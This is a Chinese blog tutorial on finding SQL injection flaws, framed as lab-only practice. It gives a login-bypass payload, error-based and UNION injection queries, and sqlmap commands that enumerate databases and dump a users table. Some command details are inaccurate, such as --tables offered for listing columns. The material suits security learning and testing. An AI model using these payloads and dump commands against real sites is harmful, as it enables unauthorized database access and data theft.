SQL注入漏洞挖掘相关知识

声明:本教程仅科普正规网络安全,所有操作均在靶场实现,切勿用于不法操作,若因非法攻击产生的一切后果均由攻击者自行承担

什么是sql注入

SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中注入恶意 SQL 代码,从而执行未经授权的数据库操作,当应用程序使用用户输入来构造 SQL 查询,却未对输入进行充分验证或转义时,攻击者可以通过输入特殊字符(如单引号'、分号;)篡改原查询的逻辑。

挖掘sql注入漏洞需要什么

mysql数据库相关知识基础以及增删改查sql命令使用

sql注入常出现的地方

登录框,get参数(例如?id=1),评论区,等等与sql数据库交互的地方

 

怎么检测sql注入

首先确定哪些地方会与数据库交互,比如登录框啥的,(需要首先确定数据库类型,比如确定对方存不存在sql,如果没有数据库的网站基本可以放弃了,需要根据实际情况判断)

我们进行一个最简单的靶场案例

sql登录框万能密码

在这个靶场案例,登录框要求你输入账号密码,我们可以确定用户名为admin,因为常见的web管理员用户名就是admin,还剩下密码,我们排除爆破,通过sql注入的方式登录系统

思路:假如123456密码错误,我们可以尝试123456'or'1'='1

SQL注入万能登陆密码:123456'or'1'='1
#注意后面不能加'号
#这是最基本的sql注入万能密码检测

 sql注入检测之报错注入

报错注入常用于GET参数居多,常用于?id=1等等,原理是SQL 注入检测中的报错原理是一种主动探测技术,通过构造特殊的 SQL 语句使数据库抛出特定错误,从而判断目标是否存在注入点

1. 基于函数的报错

-- 正常查询
SELECT * FROM users WHERE id = 1;

-- 注入 payload(触发 XPATH 语法错误)
SELECT * FROM users WHERE id = 1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT USER()),0x7e),1);

#错误信息会包含数据库用户名:XPATH syntax error: '~root@localhost~'

2. 基于条件的报错

-- 如果 users 表存在,则触发错误
SELECT * FROM users WHERE id = 1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name = 'users') > 0;

3. 联合查询报错

当注入点支持UNION查询时,通过构造错误的列数或类型触发错误:

SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3,4; -- 错误:列数不匹配

上面的sql注入需要一定sql语句基础才能懂,对于新手推荐首先掌握登录框万能密码,sql注入注入点检测,比如输入'号观察响应是否正常,为了照顾新手,我们接下来学习使用sqlmap自动化sql注入检测工具

SQLmap的使用

安装

kali自带

apt update &apt install sqlmap
#安装并更新sqlmap

检测注入点

在sqlmap里面,分为get请求和post请求探测,我们就开始演示

sqlmap -u 'http://xx/?id=1'
#GET检测注入点


sqlmap -r '/root/1.txt'
#post请求需要抓包复制请求包,然后放在1.txt文件里面

 

这边很快就查到一个注入点

上边是post请求检测方式,get就更简单了,直接url后面拼接一个参数即可,这边不做演示

查看所有数据库

在sqlmap中,当检测到注入点时,使用--dbs查看所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

sqlmap -r '/root/1.txt' --dbs

结果:

这边显示存在两个数据库

查看当前使用的数据库

在sqlmap中,使用 --current-db来查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db
#查看当前使用的数据库

 

这边显示正在使用zby数据库

指定数据库以及查看所有的表

 SQLmap中使用 -'D'参数指定数据库

 SQLmap中使用--tables参数查看所有的表

sqlmap -u 'http://xx/?id=1' -D 'zby' --tables
sqlmap -r 'root/1.txt' -D 'zby' --tables

 

如图显示zby数据库存在一个 users表

查看字段以及指定表

知道了表名,就可以查看字段了,不过还需要学习怎么指定表,然后查看字段

sqlmap中使用-T参数指定表,同时--tables也可以查看字段

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --tables

 

个人感觉,只需要会指定表即可,字段,emmm ,可有可无吧

sqlmap查看数据

学会了注入点,会查数据库,查表,以及指定,就要学会我们的重头戏了,查看表里面的数据

因为黑客的终极目标就是数据

在sqlmap中,使用--dump查看数据

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --dump

sqlmap指定线程和深度

有的时候我们会觉得扫描速度会比较慢,或者觉得对方存在漏洞却没有结果,此时我们可以指定线程和深度

sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --dump --threads 10 --level=5

--threads 10 指定10个线程,最大10
--level=5 指定深度5,最大5,默认3
--dump 查看数据

 

 sqlmap缓存问题

长时间使用sqlmap的人会发现一个问题,sqlmap工作原理是,当第一次扫描发现注入点后,sqlmap会将缓存保存,以后扫描该网址直接调用缓存,而不进行或者少量扫描,这样会导致二次高深度扫描无效结果(返回原结果),此时我们可以清除缓存来解决

缓存文件在sqlmap扫描结果的下方

[12:24:57] [INFO] table 'zby.users' dumped to CSV file '/root/.local/share/sqlmap/output/ctf.zhibangyang.cn/dump/zby/users.csv'
[12:24:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ctf.zhibangyang.cn'

[*] ending @ 12:24:57 /2025-07-06/

  

将这个文件夹删除即可

 

SQL注入的检测流程 

  1. 发现注入点:通过模糊测试(如输入单引号')观察应用程序是否返回异常
  2. 判断数据库类型:发送特定报错 Payload,根据错误信息确定数据库类型。
  3. 提取信息:利用报错函数逐步获取表名、列名、数据内容

希望我的经验对你有所帮助期待三连点赞收藏关注

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

长歌不高冷

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值